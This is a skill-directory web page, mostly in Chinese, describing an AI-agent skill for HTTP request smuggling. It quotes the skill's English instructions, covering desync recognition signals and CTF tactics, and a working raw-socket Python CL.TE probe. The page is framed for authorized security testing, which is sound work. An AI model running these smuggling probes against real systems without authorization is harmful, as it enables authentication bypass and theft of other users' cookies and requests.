跳到正文
Skillpedia
安全6.5k · #14079

smuggling

它能做什么

这项技能说明 HTTP 请求走私:当前端代理和后端服务器对请求在哪里结束产生分歧时就会发生。适合有授权目标的安全测试人员。

适用场景

  • ✓当网站运行在代理或 CDN 之后,而你怀疑两部分对请求的解析方式不同时。
  • ✓当挑战标签指向请求走私或失步时。
  • ✓当你想在尝试其他攻击之前,用一份清单确认失步的存在时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/smuggling/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,我网站的 CDN 和服务器在解读 HTTP 请求的方式上是否存在分歧?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体发送精心构造的请求,其中包含相互冲突的长度和编码响应头,然后检查连接上的下一个请求是否受到影响。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

HTTP Request Smuggling (Desync)

Exploits parser disagreement between two HTTP intermediaries on the same connection (front-end CDN/proxy ↔ back-end origin). When one side ends a request at byte X and the other at byte Y, the bytes between X and Y are the "smuggled" prefix of the next victim request — letting the attacker rewrite the next user's request, steal cookies/headers, or hit auth-bypassed routes.

When This Skill Is Primary

HRS bypasses authentication and authorization at the front-end/back-end boundary — it does NOT need correct credentials. When smuggling_desync (or request_smuggling / hrs / desync) co-occurs with credential-related tags (default_credentials, jwt, weak_password), smuggling IS the primary attack vector. Credential brute-force is a fallback only after the confirm-desync gate (below) fires NEGATIVE.

Reasoning: a CTF that ships both tags is signaling "you have a low-priv account (test:test, etc.) — use it as your session anchor and bypass the role check via parser disagreement." Burning the time budget on admin:* brute-force misses the design entirely. Use the low-priv credentials as the OUTER request session; smuggle the privileged INNER request.

The same logic applies when smuggling_desync co-occurs with cve (the CVE is likely the desync primitive; e.g., CVE-2022-24766 is mitmproxy h1 smuggling — see Variant Catalog → CL.0 / pause-based desync below).

Recognition Signals

Trigger this skill when ANY of the following are present:

  • Multi-proxy stack visible: two Server: strings across responses (e.g. cloudflare then gunicorn); Via: header present; CDN/edge fingerprint (Cloudflare CF-RAY, AWS CloudFront, Akamai, Fastly).
  • Differential 400/501 when sending duplicate/obfuscated Transfer-Encoding or Content-Length headers (one path 200, another 400/501).
  • HTTP/2 frontend with HTTP/1.1 backend (alt-svc: h2, :status pseudo-header, HTTP/2 ALPN). Downgrades are the modern smuggling surface.
  • Pipelining differences: connection reused across requests with inconsistent framing.
  • Challenge tag includes smuggling_desync, request_smuggling, hrs, desync, or recon's "Frontend behavior" line says "frontend forwards malformed framing".
  • Recon handoff notes that the same payload yields different status codes when sent to different proxy hops or with different framing.

Confirm-Desync Gate

STOP. Before iterating ANY payload, prove a real desync exists. Differential parsing alone (different status codes from different headers) is NOT a smuggle — it is a hint. The gate is a single in-file Python probe that opens one TCP connection and pipelines two requests where the second is detectable only if the first leaked bytes into the connection buffer.

timeout 60 python3 -u -c '
import socket, sys

HOST, PORT = "<TARGET>", 443  # use 80 for plain HTTP
USE_TLS = (PORT == 443)

# CL.TE smuggling probe — front-end uses Content-Length, back-end uses Transfer-Encoding.
# A real desync makes the back-end park "X" as the start of the NEXT request on this socket.
smuggle = (
    "POST / HTTP/1.1\r\n"
    "Host: <TARGET>\r\n"
    "Content-Length: 6\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
    "X"  # the smuggled prefix
)
victim = (
    "GET / HTTP/1.1\r\n"
    "Host: <TARGET>\r\n"
    "\r\n"
)

s = socket.create_connection((HOST, PORT), timeout=5)
if USE_TLS:
    import ssl
    s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.settimeout(5)
s.sendall(smuggle.encode() + victim.encode())

buf = b""
try:
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > 16384:
            break
except socket.timeout:
    pass
finally:
    s.close()

# Desync signal: victim request fails with 400/405 because "XGET" landed at backend.
# Baseline GET / on the same target returns 200 — so 400/405 here is the smoke.
sys.stdout.write(buf[:2048].decode(errors="replace"))
sys.stdout.flush()
' 2>&1 | tee smuggle_gate.txt

Pass criteria (any one):

  • Second response shows 400 Bad Request containing XGET / Invalid method / bad request line.
  • Connection closes after the first response with the second never sent (back-end ate the smuggled bytes).
  • Repeating the same probe on a fresh connection still 200s — i.e. the desync is connection-scoped.

If gate FAILS (no pass criteria met before the harness's out

常见问题

CL.TE 和 TE.CL 是什么?

它们是代理与服务器对请求长度的两种相互冲突的解读方式,分别依据 Content-Length 和 Transfer-Encoding 响应头。

它需要有效的登录凭据吗?

该技能指出,走私可以绕过边界处的访问检查,权限较低的测试账户可以作为外层会话。

它包含工具吗?

它包含一些小型的原始 socket 测试脚本,因为沙箱中没有标准的 smuggler 工具。

详情

作者的原始描述

HTTP Request Smuggling (HRS) — front-end / back-end parser disagreement attacks that desync the proxy stack. Covers CL.TE, TE.CL, TE.TE, CL.0, HTTP/2 downgrade (h2.cl, h2.te), pipelining, and connection-state pinning. Includes a confirm-desync gate, header obfuscation catalog, and minimal raw-socket Python harnesses (no smuggler.py available in sandbox).

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14079
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能